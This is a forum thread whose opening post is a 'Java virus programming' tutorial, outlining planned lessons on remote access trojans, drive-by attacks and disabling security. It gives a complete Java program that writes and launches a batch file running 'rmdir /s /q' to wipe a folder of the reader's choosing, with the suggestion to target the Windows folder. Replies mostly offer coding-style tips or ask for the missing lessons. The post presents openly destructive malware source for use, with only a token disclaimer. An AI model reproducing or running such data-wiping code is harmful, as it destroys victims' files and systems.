Results 1 to 11 of 11
  1. #1
    gcflames12's Avatar
    Join Date
    Aug 2009
    Gender
    male
    Location
    wada
    Posts
    181
    Reputation
    10
    Thanks
    24

    Java Beginning Virus Programming

    This tutorial will focus on the very very basics of writting a java virus.
    I know java isn't the ideal program to write virus's in, but it is great for learning. Each week i will release a new tutorial here will be how it follows.

    Week One:
    I. Getting System Properties
    II. Creating Files
    III. Running Files

    Week Two:
    I. Creating Temp Files
    II. Writting into System Files

    Week Three:
    I. Disabling security
    II. Creating Files that copy itself across computer

    Week Four:
    I. Remote Access Trojans
    II. Opening Connections between client and server

    Week Five:
    I. Java Drive By's

    Week Six:
    I. Using Java to penetrate Facebook

    Week Seven:
    I. Hacking Clients and Applets with Java Snoop


    Week One:
    I am using the Java Eclipse IDE: Eclipse Classic 4.2.1 | Eclipse Packages
    Here we will begin the basics of writting virus code with java. I assume you already know and understand basic java syntax and understand atleast simple programs written in java.

    I. The first thing we must know in order to decently place a file in a certain spot on the computer, is how to get the system properties.
    Luckily java already has a very nice method for doing this:
    Code:
    System.getProperty(String path);
    Explanation:
    [SPOILER]This is a very simple code. I will break it apart
    System: Quite Obvious..
    getProperty(): Method to return the property of the String you requested.
    String path: Basicly here you enter the String you wish to find, i will user "user.home" to get the users home path.[/SPOILER]

    II. Next We must know how to create a file. This is a fairly simple code.
    Code:
    File f =  new File(String FileName);
    Explanation:
    [SPOILER]File is the Constructor
    And the fileName is the name we want to give this file[/SPOILER]

    III. I won't go into details about writing to a file but here is the code I used to write into files.
    Code:
    File f = new File(FileName);
    		FileWriter fw = new FileWriter(f);
    		BufferedWriter bw = new BufferedWriter(fw);
    All this basically does is get a file, open a filewriter, then open a bufferedwriter of the filewriter.

    Code: Here i put together a simple example code for this tutorial. Just follow along with the comment to find out what the program does. It simply creates a new file in the users home named %tempDir%.bat and writes a batch file command to delete a specified user folder in the system. Then it runs that batch file and deletes the system folder.
    Code:
    import java.awt.Desktop;
    import java****.BufferedWriter;
    import java****.File;
    import java****.FileWriter;
    import java********Exception;
    
    
    public class Login {
    	//get the users home file path
    	public static String getPathToSetFile(){
    		//this will get the users home, for example(C:/users/"UsersName"/)
    		String home = System.getProperty("user.home");
    		return home; // returns the string that we just got(the path)
    	}
    	//set the file in the given directory
    	public static void setFile() throws IOException{
    		//creates a new file in the directory we just found, named %tempDir% as a batch file
    		File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
    		FileWriter fw = new FileWriter(f);
    		BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
    		if(f.exists()){ //if the file exists
    			f.setWritable(true); //allows us to write to file
    			bw.write("@echo off"); 
    			bw.newLine();
    			bw.write("rmdir /s /q \"C:" + File.separator + "AddHere\""); // writes this batch command to file to delete specified folder
    			bw.newLine(); // replace add here above with the folder you want deleted ex (Windows)
    			bw.write("pause"); //delete this if you dont want bat to stay open after running
    		}else{//if the file doesn't exist (no real need for this beacuse we already know the file exists. jsut created it.
    		}
    		bw.close(); //closes buffered writer
    	}
    	//gets file and runs it
    	public static void runFile() throws IOException{
    		setFile();
    		File toOpen = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
    		Desktop.getDesktop().open(toOpen); //i used the desktop method to run files, dont ask why. just simpler
    	}
    	//main method
    	public static void main(String[] args) throws IOException{
    		runFile();//excecuted code
    	}
    	
    }
    To delete a folder just change the "AddHere" name in code to the folder you wish to delete.
    -I am not responsible for what you do with this code, this is not meant for illegal purposes just to teach how to do it.

    -Next Tutorial will be release next week.
    -GcFlames12

  2. The Following 5 Users Say Thank You to gcflames12 For This Useful Post:

    gunman353 (05-30-2013),hooliganen (01-14-2013),KasperskyCheap (08-19-2013),Stoney2759 (01-01-2014),tinnetju (04-12-2014)

  3. #2
    abuckau907's Avatar
    Join Date
    Dec 2012
    Gender
    male
    Location
    other side of the wire
    Posts
    1,342
    Reputation
    162
    Thanks
    239
    My Mood
    Cold
    mind if I critique a little? But I don't know Java so.. :/

    Code:
    File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
    		FileWriter fw = new FileWriter(f);
    		BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
    		if(f.exists()){ //if the file exists
                          ....
                      }
                      bw.Close()
    maybe create FileWriter and the BufferedWriter {inside} the loop (and move bw.Close() inside)

    if the file doesn't exist, there is no point in creating the 2 objects because you won't actually use them.

    Not important, and in reality you'll never notice any change in performance. Just browsing the forum.

    Tut. has structure. Keep up the hard work. Appreciated. [maybe don't get too malicious w/ it]
    Last edited by abuckau907; 01-09-2013 at 04:55 AM.
    'Some things that can be counted, don't matter. And some things that matter, can't be counted' - A.E.
    --
     

    My posts have some inaccuracies/are wrong/wrong keyword(s) used.
    They're (maybe) pretty close, and I hope they helped you, not created confusion. Take with grain of salt.

    -if you give rep, please leave a comment, else it means less.

  4. #3
    Drinking Water's Avatar
    Join Date
    Oct 2012
    Gender
    male
    Location
    Bay Area
    Posts
    665
    Reputation
    12
    Thanks
    2,174
    My Mood
    Tired
    There should be pictures instead.

  5. #4
    dkofek's Avatar
    Join Date
    Feb 2009
    Gender
    male
    Location
    The toilet in the club next to your house
    Posts
    59
    Reputation
    13
    Thanks
    114
    My Mood
    Bored
    also, instead of creating a FileWriter you could just

    Code:
             File f = new File(FileName);
             BufferedWriter bw = new BufferedWriter(new FileWriter(f));
    I know it's basically the same, but it just looks better

  6. #5
    javaEEcrack's Avatar
    Join Date
    Feb 2013
    Gender
    male
    Posts
    36
    Reputation
    10
    Thanks
    1,635
    My Mood
    Worried
    use nio instead of io

  7. #6
    destruKt's Avatar
    Join Date
    Feb 2013
    Gender
    female
    Posts
    7
    Reputation
    10
    Thanks
    0
    My Mood
    Yeehaw
    Quote Originally Posted by Drinking Water View Post
    There should be pictures instead.
    Pictures instead of code? lolwut.

  8. #7
    Boost4lol's Avatar
    Join Date
    Jan 2014
    Gender
    male
    Posts
    21
    Reputation
    10
    Thanks
    0
    week two mia.

  9. #8
    defence14331's Avatar
    Join Date
    Mar 2014
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    when your next week will come . are you telling lie to attract users

  10. #9
    The Void Aroma's Avatar
    Join Date
    May 2014
    Gender
    male
    Location
    United States
    Posts
    20
    Reputation
    10
    Thanks
    1
    Quote Originally Posted by Drinking Water View Post
    There should be pictures instead.
    Drinking Water clearly prefers the traditional picture book format when learning new information.

    ...give him what he wants!

  11. #10
    khanhvdb's Avatar
    Join Date
    Mar 2016
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    I don't find next tutorial?

  12. #11
    mnwd's Avatar
    Join Date
    Aug 2019
    Gender
    male
    Location
    Germany
    Posts
    104
    Reputation
    18
    Thanks
    13
    You don't write viruses in Java, you use assembly/C

Similar Threads

  1. Free Anti-Virus Program
    By Jeezu in forum General
    Replies: 37
    Last Post: 08-06-2011, 11:20 AM
  2. Virus Programs
    By sebimaster in forum CrossFire Discussions
    Replies: 12
    Last Post: 10-23-2010, 01:44 PM
  3. How to remove a virus or keylogger without anti virus program
    By hiphopj in forum CrossFire Tutorials
    Replies: 5
    Last Post: 10-12-2010, 12:48 AM
  4. a good java program
    By snipelock in forum Java
    Replies: 18
    Last Post: 04-17-2009, 02:56 PM
  5. Do you know a free virus program?
    By xtrylanx in forum General
    Replies: 24
    Last Post: 05-29-2008, 11:50 PM